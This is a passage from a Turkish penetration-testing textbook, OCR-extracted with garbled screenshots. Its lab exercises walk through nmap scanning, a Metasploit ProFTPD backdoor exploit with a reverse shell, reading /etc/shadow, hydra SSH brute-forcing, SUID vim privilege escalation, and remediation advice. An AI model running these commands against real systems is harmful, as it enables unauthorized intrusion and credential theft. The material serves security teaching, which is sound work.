edilmesi amaciyla nmap -sV 192.168.1.226 komutunu kullanarak tarama gercgeklestiriniz ve sonuglari
degerlendiriniz (Gorsel 3.5).

~
2LdULLITE Nidp f.

st 1s up (0.
Not shown: 997 cl

SIAIE SERVILE VEKSLUN
open ftp ProFTPD 1.
open ssh OpensSH
open

C Address:

vice Info:

etection performed. .org/submit/
Nmap done: 1 IP addr

Gorsel 3.5: Sistem ve servis tarama sonuglari
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4. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Gergeklestirilen nmap -sV 192.168.1.226 taramasi sonucunda hedef sistem iizerinde
acik olan portlar ve bu portlarda galisan servisler asagidaki sekilde tespit edilmistir.

« 21/tcp (FTP) - ProFTPD 1.3.3c
« 22/tcp (SSH) - OpenSSH 7.2p2 (Ubuntu)
« 80/tcp (HTTP) = Apache httpd 2.4.18 (Ubuntu)

Ayrica sistemin Linux tabanli bir isletim sistemi kullandigi ve ag karti Ureticisinin modeli belirlenmistir.

Hedef sistemde 21 numarali port lizerinde FTP servisi (ProFTPD 1.3.3c) calistigi tespit edilmistir. Yapilan
arastirmalar sonucunda ProFTPD 1.3.3c, eski ve bilinen zafiyetler icerebilen bir FTP sunucu strimi
oldugu tespit edilmistir.

ProFTPD 1.3.3c strlimi ile iligkili tarihsel Exploit ve backdoor kayitlari bulunmaktadir ancak bu durum,
s6z konusu sirimi c¢ahistiran her kurulumun dogrudan istismar edilebilir oldugu anlamina gelmez.
Gergek istismar edilebilirlik, kuruluma 6zgi yapilandirma ve kosullara baghdir.

5. Adim: Hedef sistem (zerinde bilinen givenlik agiklarini tespit etmek amaciyla nmap -A -p-
192.168.1.226 -T4 --script=vuln komutunu kullanarak detayli bilgileri elde ediniz (Gorsel 3.6).

Dosya Eylemler Diizen Goriiniim Yardim

Komut 'map' bulunamadi ama 22 benzeri komu

#EXPLOIT*
*EXPLOIT*

Gorsel 3.6: Givenlik acig! tespit tarama sonuglari
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6. Adim: Hedef sistem lzerinde tespit edilen FTP servisinin (ProFTPD 1.3.3c) bilinen glivenlik aciklarini
searchsploit proftpd 1.3.3c¢ komutu ile tespit ediniz ve sonuclari degerlendiriniz (Gorsel 3.7).

proftpd 1.3

Exploit Title

etasploit)

ution

Metasploi
3eroFTPD -4 FTP - glob Expansion

Shellcodes

Gorsel 3.7: Glvenlik agigI tespit sonuglari

7. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Searchsploit ciktilari incelendiginde hedef sistemde kullanilan ProFTPD 1.3.3c
sirimine ait kritik seviyede uzaktan komut ¢alistirma ve backdoor zafiyetlerinin bulundugu gérilmis
olup, sistemin istismar edilebilir durumda oldugu degerlendirilmistir.

8. Adim: Metasploit modiiline msfconsole yazarak dogru payload arastirmasina devam ediniz (Gorsel
3.8).

Dosya Eylemler Dizen Go&riinim Yardim

post
- 11 nops

Gorsel 3.8: Metasploit giris islemi

SIZMA TESTI




“ =\ 3.OGRENME BiRiMi

9. Adim: Hedef sistemde tespit edilen ProFTPD 1.3.3c sliriimiine ait bilinen glvenlik agiklarini ve ilgili

Exploitleri belirlemek amaciyla searchsploit proftpd 1.3.3c komutunu kullanilarak mevcut Exploitleri
listeleyiniz ve degerlendirme yapiniz (Gorsel 3.9).

ProFTED 1.

Check Description

«/ftp/proftpd_133c_backdoor 2010-12-0 excelle No ProFTPD-173.3€ Backdoor Command Ex

ct with a module by name or index. For exampl

Gorsel 3.9: Tespit edilen exploitler

10. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Metasploit iizerinde yapilan arama sonucunda hedef sistemde calisan ProFTPD
1.3.3c servisine ait backdoor command execution zafiyetini hedefleyen ve yliksek basari oranina
sahip bir Exploit modill tespit edilmistir. Bu durum, sistemin kritik seviyede zafiyet barindirdigini
gostermektedir.

11. Adim: Tespit edilen Exploit modiliinii kullanmak amaciyla liste lizerinde yer alan ID numarasini 0
secerek use 0 komutunu girip ilgili moddle ait yapilandirma segeneklerini gérintilemek icin options
komutunu giriniz (Goérsel 3.10).

Dosya Eylemler Diizen Goriniim Yardim

Name isclc nk heck Description

exploit/unix/ftp/proftpd_133c_backdoor 20 2-02 xcellent N ProFTPD-I.3.3€ Backdoor Command Execution
ract with a module by name or index. For example

) > options
Module options (exploit/unix/ftp/proftpd_
Name Current Setting Required Description

RHOSTS a ost tt acs.metasploit.com/docs/using asploit/basics/using-metasploit.html
RPORT

View the full module info with the fo, or fo -d command.

Gorsel 3.10: Exploit 6zelliklerini goriintiileme

12. Adim: Exploit modulinin uygulanacagl hedef sistemin belirlenmesi amaciyla RHOSTS parametresi
tanimlayiniz ve saldirinin yoneltilecegi IP adresi Metasploit ortamina set rhosts 192.168.1.226 komutu
ile atayiniz [ilk olarak RHOSTS ve rhosts komutlari dogrudan yazilmis ancak hata alinmistir. Bu islem
gerceklestirilirken set komutu kullaniimalidir (Gorsel 3.11).].

mand: RHO

mand: rhosts

Gorsel 3.11: Hedef sistem atamasi
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13. Adim: show payloads komutuyla yiik listesini kontrol ediniz, set payload cmd/unix/reverse komutu
ile ilgili payload’u seciniz fakat dncesinde diger payload seceneklerinin uygulanabilirligini arastirarak
degerlendiriniz (Gorsel 3.12).

xploit( ) » show payloads

Compatible P

Name Disclosure Date Rank Check Description

No

No

naulnad/ an rmal  No
i ri No

No

No

No

No

loit( ) > set payload cmd/unix/
= cmd/unix/

Gorsel 3.12: Payloads listeleme

14. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Sonuclar arastirildiginda bircok payloadun etkisiz oldugu gorilmistiir. ProFTPD
1.3.3c backdoor zafiyetinin yalnizca komut ylritmeye izin vermesi nedeniyle payload se¢iminde basit ve
uyumlu yapilar tercih edilmis ve bu kapsamda cmd/unix/reverse payloadu uygun bulunmustur. Hedef
sistemde bulunan ProFTPD 1.3.3c backdoor zafiyeti sadece ham komut yiritilmesine (command
execution) izin vermektedir. Sistem Uzerinde dogrudan bir shell agmak yerine, belirli komutlarin
calistirlilmasi saglanmalidir.

15. Adim: Secilen payloadun dizgiin galisabilmesi icin gerekli ag ayarlarinin yapilandirilmasi amaciyla

options komutunu giriniz (Gorsel 3.13).

> options

ackdoor):

ee docs.metasploit.com/docs/using aspleoit/basics/using-metasploit.html
port (TCP)

Name  Cur

LHOST ten address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit ta

Id N

@  Automatic

View the full module info with the inf: r info -d command.

Gorsel 3.13: Payload secenekleri
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16. Adim: Reverse shell baglantisinda hedef sistem, saldirgan makineye baglanti baslatir. Bu amacla
set lhost 192.168.1.100 IP adresini girip, run komutunu uygulayarak shell erisimini saglamaya ¢alisiniz
(Gorsel 3.14).

> set lhost 192.168.1.100

A e Jnnut

Command shell s 68. ! ] 5 -0400

Gorsel 3.14: Reverse shell baglantisi olusturma

17. Adim: Baglanti kurulduktan sonra whoami komutu ile yetkinizi kontrol ediniz (Gorsel 3.15).

m ProFTPD sliriim, root diizeyinde bir arka kapi oldugundan aninda root shell erisimi saglar.
Boylelikle ayricalik yiikseltmeye gerek kalmaz.

Dosya Eylemler Diizen Goriinim Yardim

444 — 192.168.1.

bin
boot
cdrom

home
initrd.img
lib

libg4
lost+found

Gorsel 3.15: Baglanti kurulmasi ve yetki kontrold
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18. Adim: Post-exploitation asamasinda elde edilen shell erisimini dogrulamak ve sistem hakkinda bilgi
toplamak amaciyla asagidaki komutlari giriniz ve degerlendirme yapiniz (Gorsel 3.16).

2-Ubuntu SMP Thu Jul 20 1@:19:48 C 64 5 > 64 GNU/Linux

¥s

ystemd

= WD W00
W00

Gorsel 3.16: Yetki diizeyinde bilgi elde edilmesi

19. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Elde edilen shell erisiminin yetki seviyesi dogrulanmis, sistem bilgileri analiz edilmis
ve kritik kullanici verilerini iceren dosyalara erisim saglanarak hedef sistem lizerinde tam kontrol elde
edildigi teyit edilmistir.

20. Adim: /etc/shadow dosyasi incelenerek sistemdeki kullanicilarin parola hash degerlerine erisim
saglayiniz ve degerlendirme gerceklestiriniz (Gorsel 3.17).

L2 sk s B

/30kbn4t1RUILrckw69LR/@EMtUDFFCYpM3MUHVmMtYYWS . ov/aszTpWhLaC2x6FvyStpUUxQbUhCKbl4/:17

Gorsel 3.17: Yetki duizeyinde bilgi elde etme

21. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: $6$ degeri, SHA-512 hash algoritmasini kullandigini géstermistir. John the Ripper
veya hashcat araci kullanilarak bu sifrenin kirilmasi saglanabilir.

22. Adim: Yapilan test sonucunda iyilestirme Onerilerinizi de barindiran degerlendirmenizi yapiniz.
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23. Adim: Degerlendirmenizi ve iyilestirme 6nerilerinizi verilenle karsilastiriniz.

DEGERLENDIRME: Gerceklestirilen sizma testi sonucunda hedef sistemin bilinen bir backdoor zafiyeti
nedeniyle kritik seviyede guvenlik acigl barindirdigl, bu zafiyetin basariyla istismar edilerek sistem
Uzerinde root yetkileri ile tam kontrol saglandigi ve sistemin tamamen ele gecirilebilir durumda oldugu
degerlendirilmistir.

« ProFTPD servisi acilen glincellenmeli veya kaldiriimalidir.

- Sistemler diizenli olarak zafiyet taramasindan gegirilmelidir.

lyilestirme énerileri

sunlardir: « Ag segmentasyonu uygulanmalidir.

« IDS/IPS sistemleri devreye alinmaldir.

« Guglu parola politikalari uygulanmalidir.

192.168.1.0/24 yerel aginda birden fazla sistem ve servis aktif olarak calismaktadir. Bu ag lzerinde

bulunan sistemlerin gilivenlik durumunun degerlendirilmesi amaciyla kapsamli bir sizma testi
gerceklestirilmesi istenmektedir. Bu kapsamda maddeler halinde verilen islemleri gerceklestiriniz.

Ag lzerinde aktif sistemleri tespit ederek hedef bir sistem belirleyiniz.
Secilen hedef sistem (izerinde acik portlari ve calisan servisleri Nmap araci ile analiz ediniz.
Servis ve versiyon bilgilerini tespit ederek olasi giivenlik agiklarini degerlendiriniz.

Web servisi tespit edilmesi durumunda dizin kesfi (DIRB/Gobuster) ve zafiyet taramasi (Nikto) ger-
ceklestiriniz.

SMB gibi servisler (izerinde enumeration islemleri yaparak kullanici ve sistem bilgilerini elde ediniz.
Elde edilen bilgiler dogrultusunda parola deneme (brute-force/dictionary attack) saldirisi gercekles-
tiriniz.

Sisteme erisim sagladiktan sonra yetki seviyenizi dogrulayip yetki yikseltme yontemlerini uygulayi-

niz.

Elde edilen bulgular dogrultusunda sistemin giivenlik durumunu degerlendiriniz.
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1. Adim: Yerel ag lizerinde aktif olarak ¢alisan cihazlari tespit etmek amaciyla arp-scan -l komutunu
kullanilarak bir tarama gerceklestiriniz (Gorsel 3.18).

MAC:
hosts (

| e T e L1}
& LMo

WD WD =

1
1
1
1
1
1
1

Technolo

ts dropped b rnel
nned in 2.

Gorsel 3.18: Port tarama sonucu

m Tarama sonucunda test gergeklestirilecek cihazin yerel agda bulunan 192.168.1.227 IP
adresli cihaz oldugu tespit edilmistir.

2. Adim: Nmap taramasi gerceklestirerek 192.168.1.227 IP adresli cihaz hakkinda bilgi toplama islemi

gerceklestiriniz ve ¢ikan sonugclari degerlendiriniz [Bu noktada sizma testini gergeklestirdiginiz kurumla

yapacaginiz anlasma dahilinde nmap tarama yontemlerini degistirerek bilgi toplamaniz mimkdindir

(Gorsel 3.19).].

open
open

http-proxy

119 (Azure Technology)

Nmap done: 1 IP address (1 host up) scanned in 1.73 seconds

Gorsel 3.19: Nmap tarama sonucu

3. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Yapilan ag taramasi sonucunda hedef sistem {zerinde SSH, HTTP, SMB ve AJP
servislerinin agik oldugu tespit edilmistir. Web servisleri (80 ve 8080) ise uygulama katmani saldirilari
icin potansiyel giris noktasi olusturmaktadir. SMB (139/445) ve AJP (8009) servisleri, bilinen kritik
zafiyetler (RCE gibi) agisindan yiiksek risk tasimaktadir. Bu durum, sistemin hem ag hem de uygulama
seviyesinde ¢ok katmanh saldirilara agik oldugunu géstermektedir.

SIZMA TESTI @



“ =\ 3.OGRENME BiRiMi

4. Adim: Hedef sistem lzerinde calisan servislerin ve bu servislere ait stirlim bilgilerinin tespit edilmesi
amaciyla nmap -sV -A 192.168.1.227 komutunu calistiriniz ve elde ettiginiz ¢iktilar dogrultusunda
sistemde agik olan portlari, aktif servisleri, stirim bilgilerini ve olasi glivenlik zafiyetlerini analiz ederek
degerlendiriniz (Gorsel 3.20).

Dosya Eylemler Diizen Gorinim Yardim

Host 1s up
Not shown: 99¢

tcp open 5 7.2p2 i 2.
| ssh-hostkey:

: WORKGROUP)
.11-Ubuntu (workgroup: WORKGROUP)
Protocol v

methods: GET HEAD POST OPTIONS
http Apache Tomcat 9.0.7
Technology)
3 cpe:fo:linux:linux_kernel:4

: Linux; CPE: cpe:/o:linux:linux_kernel

1h19m59s, deviation: 2h s, median: @s

Gorsel 3.20: Servis ve stiriim bilgisi tarama

5. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Gergeklestirilen tarama sonucunda hedef sistem iizerinde 22/tcp (SSH), 80/tcp
(Apache 2.4.18 web sunucusu), 139/tcp (NetBIOS), 445/tcp (Samba/microsoft-ds), 8009/tcp (AJP13) ve
8080/tcp (HTTP-proxy/web uygulamasi) servislerinin aktif oldugu tespit edilmistir. Bu bulgular, sistemin
hem ag servisleri (SMB, SSH) hem de web tabanh uygulamalar Gzerinden ¢oklu saldiri ylizeyine sahip
oldugunu ozellikle web ve SMB servisleri lizerinden yapilacak ileri seviye analiz ve istismar ¢alismalarinin
bu noktada ¢ok 6nem tasidigini gdstermektedir.

6. Adim: Hedef sistem Uizerinde bilinen glivenlik aciklarinin tespit edilmesi amaciyla nmap -sV --script
vuln 192.168.1.227 komutunu calistirilarak servis bazli zafiyet taramasi gerceklestiriniz (Gorsel 3.21).

t vuln 192.
CCpsT/7y7 mi

Gorsel 3.21: Zafiyet taramasi
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7. Adim: ilk kesif asamasinda denenmesi gereken hedeflerin 80 ve 8080 portlarinda ¢alisan web
servisleri olarak belirlendigi icin bu servislerin icerik ve islevlerinin analiz edilmesi amaciyla ilgili IP
adreslerini web tarayicisina girerek web uygulamalari inceleyiniz (Gorsel 3.22).

« > C /A Giivenli degil | 192.168.1.227

Undergoing maintenance

Please check back later

Gorsel 3.22: Web sitesi incelemesi

8. Adim: Hedef sistem Uizerinde calisan web sunucusunun glivenlik yapilandirmasini ve bilinen
zafiyetlerinianalizetmek amaciyla nikto -h http://192.168.1.227 komutunu (Bu komut, web sunucusuna
yonelik otomatik zafiyet taramasi gerceklestirerek eksik glivenlik basliklarini, yanhs yapilandirmalari,
dizin listeleme aciklarini ve glincel olmayan yazilim bilesenlerini tespit etmeyi amaclar.) uygulayiniz ve
tarama sonuglarini degerlendiriniz (Gorsel 3.23).

tions
to the MIME typ

Gorsel 3.23: Web servisleri zafiyet kesfi

9. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Gergeklestirilen Nikto taramasi sonucunda hedef sistemde Apache/2.4.18 web
sunucusunun calistigl ve bu slrimiin giincel olmadigl tespit edilmistir. Ayrica X-Frame-Options,
X-Content-Type-Options gibi kritik HTTP glivenlik bashklarinin eksik oldugu belirlenmistir. Bu durum;
clickjacking, icerik tiirii manipiilasyonu gibi saldirilara zemin hazirlayabilir. Sunucunun ETag basliklari
Uzerinden inode bilgisi sizdirdigi gozlemlenmis ve bu durum bilgi ifsasi (information disclosure)
riski olusturmaktadir. En dikkat cekici bulgu ise /development/ dizininde dizin listeleme (directory
indexing) 6zelliginin aktif olmasidir. Bu durum, yetkisiz kullanicilarin sunucu Gzerindeki dosya ve dizin
yapisini gorintileyebilmesine olanak taniyarak hassas bilgilerin agiga ¢ikmasina neden olabilir. Elde
edilen tim bulgular, web sunucusunun giivenli yapilandiriimadigini ve 6zellikle bilgi sizdirma ile yetkisiz
erisim agisindan ciddi riskler barindirdigini géstermektedir.

SIZMA TESTI @



“ ~\ 3.0GRENME BiRIiMi
10. Adim: Onceki asamada tespit edilen en kritik bulgulardan biri, /development/ dizininde
dizin listeleme (directory indexing) ozelliginin aktif olmasidir. Bu bulgudan hareketle hedef web
uygulamasindaki potansiyel gizli dizin ve dosyalari daha kapsamli sekilde ortaya ¢ikarmak amaciyla dirb
http://192.168.1.227 komutu kullanilarak ayrintili dizin kesfi gerceklestiriniz ve sonucu degerlendiriniz
(Gorsel 3.24).

WORDLIST_F ordlists/common.txt

GENERATED WO

END_TIME: Mon M
DOWNLOADED :

Gorsel 3.24: Dosya ve dizin taramasi

11. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Gerceklestirilen DIRB taramasi sonucunda hedef web sunucusunda /development/
dizininin erisilebilir oldugu tespit edilmistir. Ayrica ana dizinde index.html dosyasinin mevcut oldugu
ve [server-status endpointinin 403 (Erisim engellendi.) durum kodu ile korundugu gérilmistir. En
o6nemli bulgu, /development/ dizininde dizin listeleme (directory listing) 6zelliginin aktif olmasidir. Bu
durum, kullanicilarin herhangi bir kimlik dogrulama mekanizmasina ihtiya¢ duymadan dizin icerisindeki
dosya ve alt dizinleri goriintiileyebilmesine olanak tanimaktadir. S6z konusu zafiyet, hassas dosyalarin
aciga ctkmasina ve ilerleyen asamalarda kimlik bilgileri veya yapilandirma dosyalari tizerinden yetkisiz
erisim elde edilmesine olanak vermektedir. Bu nedenle ilgili dizin (izerinde detayli inceleme yapilmasi,
potansiyel bilgi sizdirma ve istismar senaryolari agisindan biliylik 6nem tasimaktadir.

12. Adim: Onceki asamalarda tespit edilen dizin listeleme zafiyetini dogrulamak ve ilgili dizin igerisindeki
dosyalari incelemek amaciyla web tarayicisi (lzerinden http://192.168.1.227/development/
adresine erisim saglayiniz. Bu islem sonucunda dizin iceriginin herhangi bir yetkilendirme olmaksizin
listelenebildigi gorlintlleyiniz ve dewv.txt ile j.txt gibi potansiyel olarak hassas bilgiler icerebilecek
dosyalari tespit ederek iceriklerini gérintileyiniz (Gorsel 3.25).

<« > C A\ Giivenli degil | 192.168.1.227/development/

Index of /development

Name Last modified Size Description

a Parent Directory, -
dev.txt 2018-04-23 14:52 483

Jﬂ 2018-04-23 13:10 235

Apacher2.4.18 (Ubuntu) Server at 192.168.1.227 Port 80
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13. Adim: Hedef sistem (izerinde SMB servisi lizerinden detayl bilgi toplamak amaciyla enumé4linux
-a 192.168.1.227 komutunu kullaniniz [Bu komut, anonim (null session) veya mevcut erisim izinleri
dogrultusunda sistemdeki kullanici hesaplari, paylasimlar, ¢calisma grubu (workgroup/domain) bilgileri
ve servis yapilandirmalari hakkinda kapsamh bilgi toplama islemi gerceklestirir.] ve ¢ikan sonuglari
degerlendiriniz (Gorsel 3.26).

abs.portcullis.co.uk/application/enum4linux/ ) on Mon Mar 2

. administrator, guest, krbtgt, domain admins, root, bin, none

Looking up

ROUP>
ROUP>

00-00-00-00-00-00

Gorsel 3.26: SMB bilgisi toplama

m Bu asamalarda farkli yéntem ve teknikler (smbclient vb.) kullanilarak bilgiler elde edilebilir.

14. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Gerceklestirilen enumeration islemi sonucunda hedef sistemin WORKGROUP adli
bir calisma grubuna dahil oldugu ve BASIC2 ana bilgisayar adina sahip oldugu tespit edilmistir. Ayrica
sistem Uzerinde administrator, guest, krbtgt, domain admins, root, bin gibi kullanici hesaplarinin
varligi belirlenmistir. En kritik bulgu ise hedef sistemin bos kullanici adi ve parola ile oturum agilmasina
izin verdigini gosteren null session erisiminin mimkin olmasidir. Bu durum, kimlik dogrulama
mekanizmasinin zayif yapilandirildigini ve saldirganlarin sistem hakkinda daha fazla bilgi toplamasina
olanak tanidigini gostermektedir. Null session erisimi sayesinde paylasimlar, kullanici listeleri ve diger
hassas bilgiler elde edilebilir. Bu da sonraki asamalarda parola saldirilari veya yetki ylikseltme igin
onemli bir zemin hazirlar. Elde edilen bulgular, SMB servisinin ciddi glivenlik zafiyetleri icerdigini ve
sistemin yetkisiz erisim riskine agik oldugunu ortaya koymaktadir. Bilgi toplama isleminin devaminda
hedef sistem Gzerinde kay ve jan isimli iki yerel kullanici hesabi tespit edilmistir (Gorsel 3.27).

Gorsel 3.27: Tespit edilen kullanicilar
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15. Adim: Hedef sistem Uzerinde daha 6nce enumeration asamasinda tespit edilen kullanici
hesaplarina yonelik parola dogrulamasi (authentication testing) gerceklestirmek amaciyla hydra -l
jan -P wordlistmeb.txt -t 4 -V -f ssh://192.168.1.227 komutunu giriniz ve parola bilgilerini elde ediniz
(Gorsel 3.28).

| jan -¢ wordlistmeb. txt

AyUrd Vo4 J ; £ 40 Tiot use in military or anizations, or for illegal purposes (this is no
n-binding, th

19:10:11
option -1 to p waiting)) from a prev on found, to p

, 19 login tries (1:1/p:19), -5 trie

(e/a)

Gorsel 3.28: Brute force saldirisi testi

16. Adim: Onceki asamalarda gerceklestirilen taramalar sonucunda hedef sistem lizerinde 22/tcp
portunda SSH servisinin agik oldugu tespit edilmis, devam eden siirecte yapilan parola deneme (brute-
force/dictionary attack) islemi ile jan kullanicisina ait gecerli parola (armando) elde edilmistir. Bu bilgiler
dogrultusunda hedef sisteme yetkili erisim saglamak amaciyla ssh jan@192.168.1.227 komutunu
kullanilarak SSH baglantisini kurunuz ve elde edilen parola ile sisteme giris yapiniz (Gorsel 3.29).

LGNU/ L1nu

p-ubuntu.

n be upda
curi

ms included with the Ubuntu

ct distribution
dual fi

Gorsel 3.29: SSH baglantisi kurulmasi
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17. Adim: SSH servisi lUzerinden hedef sisteme basaril bir sekilde erisim saglandiktan sonra elde edilen
kullanici yetkilerinin ve sistem lzerindeki konumun dogrulanmasi amaciyla whoami, id, Is -la vb.
komutlari galistirarak kullanici hakkinda bilgi toplayiniz (Gorsel 3.30).

1d=1801( jan) groups=1001(jan)
ls -la

root root 4
root root 4
root jan

Gorsel 3.30: Kullanici bilgilerini toplama

18. Adim: Hedef sisteme distk yetkili bir kullanici ile erisim saglandiktan sonra yetki yikseltme
firsatlarini tespit etmek amaciyla find / -perm -4000 2>/dev/null komutu calistiriniz ve sonuglari
degerlendiriniz (Gorsel 3.31).

Bu komut, sistem tizerinde SUID (Set User ID) biti set edilmis dosyalari listeleyerek, normal

m kullanicilarin bu dosyalari calistirdiginda dosya sahibinin (cogunlukla root) yetkileri ile islem
yapabilmesini saglayan potansiyel glvenlik zafiyetlerini ortaya cikarmayi amaclar. 2>/
dev/null ifadesi ise yetki hatasi (permission denied) mesajlarini gizlemek igin kullanilir. Bu
asamalarda bilgi elde etmek igin farkh yontem ve teknikler uygulanabilir.

ib/open
1 ab/dk '

fusr/bin/
fusr/binfc
/usr/bin/sudo
/usr/bin/chsh
fusr/bin/
Jusr/bin/

fusr/bin/passwd
/bin/su
/bin/ntfs
/bin/ping
/bin/umount
/bin/fusermount
/bin/mount

/b1 1

Gorsel 3.31: Kullanici bilgilerini toplama

19. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Tarama sonucunda sistem (izerinde birden fazla SUID bitine sahip dosya tespit
edilmis olup 6zellikle /usr/bin/vim.basic dosyasinin bu liste icerisinde yer almasi dikkat cekicidir.
Normal sartlarda metin dlzenleyici olarak kullanilan vim uygulamasinin SUID yetkisi ile ¢alismasi, kot

SIZMA TESTI @




“ =\ 3.OGRENME BiRiMi

niyetli bir kullanicinin bu programi kullanarak root yetkileri ile komut ¢alistirmasina olanak taniyabilir.
Bu durum, sistemde yanlis yapilandirilmis bir SUID dosyasi bulundugunu ve yetki yikseltme igin
kullanilabilecek kritik bir zafiyet oldugunu gostermektedir. Diger SUID dosyalari (passwd, sudo, chsh
vb.) sistemin standart bilesenleri olmakla birlikte vim gibi araclarin bu sekilde yapilandiriimasi givenlik
acisindan ciddi risk olusturmaktadir. Bu bulgu, sistemin yetki yonetimi ve dosya izinleri agisindan zayif
oldugunu ve root erisimine ulasmak igin istismar edilebilir bir yol sundugunu ortaya koymaktadir.

20. Adim: Kullanici dizinleri tGzerinde bilgi toplama islemlerine devam ederek /home/kay dizinine
erisim saglayiniz ve burada bulunan pass.bak dosyasini goriintiilemeye ¢alisiniz.

21. Adim: pass.bak dosyasinin icerigi goriintiilenmeye calisildiginda mevcut kullanicinin bu dosyayi
okuma yetkisine sahip olmadigi ve erisimin Permission denied hatasi ile engellendigini gézlemleyiniz
(Gorsel 3.32).

initrd.img.old 1ib64 media opt root samba sna sy usr wvmlinuz
lib lost+found mnt proc run SrV m var wvmlinuz.old

Gorsel 3.32: Yetkisiz islem gergeklestirme

22. Adim: SUID biti set edilmis bir uygulama c¢alistirildiginda o uygulama, dosya sahibinin yetkileri ile
(cogunlukla root) calisir. Bu durumda vim.basic uygulamasi root yetkileriile calistirilabildiginden normal
sartlarda erisim izni bulunmayan pass.bak dosyasininin igerigini vim aracini kullanarak goriintileyiniz
(Gorsel 3.33).

from 192.168.1.100

m.passbak
not found

Gorsel 3.33: Yetki kazanarak icerik gorintileme

23. Adim: Dosya icerigi incelendiginde parola politikalarina iliskin bir ifade icerisinde agik metin
(plaintext) halinde bir parola bilgisi bulundugunu tespit ediniz (Gorsel 3.34).

& root@kali: ~

Dosya Eylemler Diizen Goriiniim Yardim

eresareallystrongpasswordthatfollowsthepasswordpolicy$$

Gorsel 3.34: Kullanici bilgilerini toplama

@ SIZMA TESTI



SIZMA TESTi UYGULAMALARI ,—.7

24. Adim: pass.bak dosyasindan elde edilen parola bilgisi dogrultusunda sistem lizerinde daha yiiksek
yetkilere sahip kullaniciya gecis yapilmasi amaciyla su kay komutunu kullaniniz (Gorsel 3.35).

Bu adim, sistem Uzerinde yatay yetki gecisi (horizontal privilege escalation) ve ardindan
yetki ylkseltme siirecini gostermektedir.

41 2026 from 192.168.1.100

Gorsel 3.35: Root yetkisi kazanma

25. Adim: Sistem Uizerinde root yetkilerinin dogrulanmasi ve mevcut sudo yetkilerinin analiz edilmesi
amaciyla sudo -l komutunu cahstirip, ilgili kullanicinin hangi komutlari hangi yetkilerle calistirabildigini
gorintuleyiniz ve ardindan whoami komutunu kullanarak mevcut oturumun hangi kullanici yetkileri ile
calistigini dogrulayiniz (Gorsel 3.36).

cal/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

ALL
'jan# whoami

Gorsel 3.36: Yetki dogrulama

26. Adim: Yapilan test sonucunda degerlendirmenizi yapiniz ve iyilestirme onerilerinde bulununuz.
27. Adim: Degerlendirmenizi ve iyilestirme 6nerilerinizi verilenle karsilastiriniz.

DEGERLENDIRME: Gergeklestirilen sizma testi sonucunda hedef sistemin birden fazla kritik giivenlik
zafiyeti icerdigi tespit edilmistir. ilk asamada yapilan ag taramalarinda gereksiz servislerin (SMB, AJP,
Tomcat vb.) disa acik oldugu belirlenmis, devam eden siirecte web uygulamasi tzerinde dizin listeleme
(directory indexing) zafiyeti sayesinde hassas dosyalara erisim saglanmistir. Bu dosyalar icerisinde
parola bilgisi iceren verilerin bulunmasi, bilgi sizdirma (information disclosure) zafiyetini ortaya
koymustur. Elde edilen kullanici bilgileri ile gerceklestirilen parola deneme saldirisi sonucunda zayif
parola kullanimi nedeniyle sisteme yetkisiz erisim saglanmistir. Ayrica sistem lzerinde SUID bitine sahip
yanhs yapilandirilmis uygulamalarin bulunmasi ve kullanicilar arasi parola tekrar kullanimi (credential
reuse) sayesinde yetki yiikseltme sireci basariyla gerceklestirilmis ve root erisimi elde edilmistir. Bu
bulgular, sistemin hem ag hem uygulama hem de kullanici glivenligi agisindan yetersiz yapilandirildigini
gostermektedir.
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« Gereksiz servisler (SMB, AJP, Tomcat vb.) kapatilmal veya erisimleri sinir-
landiriimahdir (Kritik).

« Web sunucusunda dizin listeleme (directory indexing) o6zelligi devre disi
birakilmalidir (Kritik).

« Hassas dosyalar (backup, config, .txt vb.) web erisimine kapatilmahdir (Kri-
tik).

« SMB servisinde anonim erisim (null session) engellenmelidir (Kritik).

. « Gugll parola politikalari uygulanmali ve parola tekrar kullanimi 6nlenme-

lyilestirme lidir (Kritik).

Onerileri: « SUID bitine sahip gereksiz uygulamalar kaldirilmali veya kisitlanmalidir
(Kritik).

« Apache ve Tomcat gibi servisler glincel siiriimlere ylkseltilmelidir (Yuksek).

- Kullanicilara verilen sudo yetkileri minimum seviyeye (least privilege) indi-
rilmelidir (Yuksek).

- Sistemler diizenli olarak zafiyet taramalarindan gegirilmelidir (Orta).

« Ag segmentasyonu uygulanmahdir (Orta).

« IDS/IPS sistemleri devreye alinmaldir (Orta).

192.168.1.0/24 yerel aginda birden fazla sistem ve servis aktif olarak calismaktadir. Bu ag lzerinde
bulunan sistemlerin givenlik durumunun degerlendiriimesi amaciyla kapsamli bir ag sizma testi
gerceklestirmeniz istenmektedir. Bu kapsamda maddeler halinde verilen islemleri gergeklestiriniz.

Ag lizerinde aktif sistemleri tespit ediniz ve hedef bir sistem belirleyiniz.
Secilen hedef sistem Uzerinde acik portlari ve ¢alisan servisleri Nmap araci ile analiz ediniz.
Servis ve versiyon bilgilerini tespit ederek olasi giivenlik agiklarini degerlendiriniz.

Web servisi tespit edilmesi durumunda web uygulamasini analiz ederek giris paneli ve yonetim ara-
yuzlerini inceleyiniz.

Kimlik dogrulama mekanizmasini test ederek olasi SQL Injection gibi zafiyetleri arastiriniz.
Tespit edilen zafiyetleri istismar ederek yetkisiz erisim saglamaya calisiniz.

Erisim saglandiktan sonra uygulama icerisinde bulunan fonksiyonlari analiz ederek komut enjeksiyo-
nu (command injection) gibi zafiyetleri test ediniz.

Bu zafiyetleri kullanarak hedef sistem Gzerinde uzaktan komut calistirma (RCE) ve ters baglanti elde
ediniz.

